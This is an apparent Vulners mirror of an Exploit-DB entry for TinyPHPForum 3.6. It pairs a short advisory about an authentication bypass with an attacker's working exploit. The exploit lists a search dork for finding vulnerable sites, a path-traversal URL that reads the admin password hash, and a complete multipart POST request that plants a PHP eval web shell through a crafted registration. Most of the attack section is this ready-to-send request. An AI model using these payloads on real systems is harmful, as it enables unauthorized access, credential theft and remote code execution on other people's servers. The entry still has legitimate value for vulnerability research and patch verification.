Lucene search
K

TinyPHPForum 3.6 - 'UpdatePF.php' Authentication Bypass

🗓️ 01 Aug 2006 00:00:00Reported by SirDarckCatType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 16 Views

TinyPHPForum 3.6 'UpdatePF.php' Authentication Bypass, Code Executio

Code
source: https://www.securityfocus.com/bid/19281/info

TinyPHPForum is prone to an authentication-bypass vulnerability because it fails to prevent an attacker from accessing admin scripts directly without requiring authentication.

A remote attacker can exploit this issue to perform administrative functions without requiring authentication. For example, the attacker may be able to create administrative users for the affected application.

===============================================================================================

Found : brain[pillow]
Dork  : "Powered by TinyPHPForum v3.61"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail  : [email protected]

===============================================================================================

        File read (f.e. file with admin's hash):

/index.php?f=1&t=8../../../../users/admin.hash%00

===============================================================================================

        Code exec:

Just send this fucking evil packet for registration and the shell will be created there: /lang/cekac.php.skin?c=[eval code]

POST /updatepf.php HTTP/1.1
User-Agent: Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Referer: http://www.example.com/profile.php?action=new
Cookie: PHPSESSID=a2b64d278abd18347c1fd3c27a6dc1f2;
Connection: Keep-Alive
Content-Length: 1235
Content-Type: multipart/form-data; boundary=----------feIyX3Pd15MPzClqGeALKe

------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="sessionid"

a2b64d278abd18347c1fd3c27a6dc1f2
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="uname"

../lang/cekac.php
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="ulang"

big5
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="uskin"

<?php eval($_GET[c]);?>
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="email"

[email protected]
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="p1"

123qwe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="p2"

123qwe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="stat"

hack the planet
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="avatar"

image/avatars/bird1.jpg
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10240
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="userfile"; filename=""


------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="type"

new
------------feIyX3Pd15MPzClqGeALKe--

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Aug 2006 00:00Current
7.4High risk
Vulners AI Score7.4
16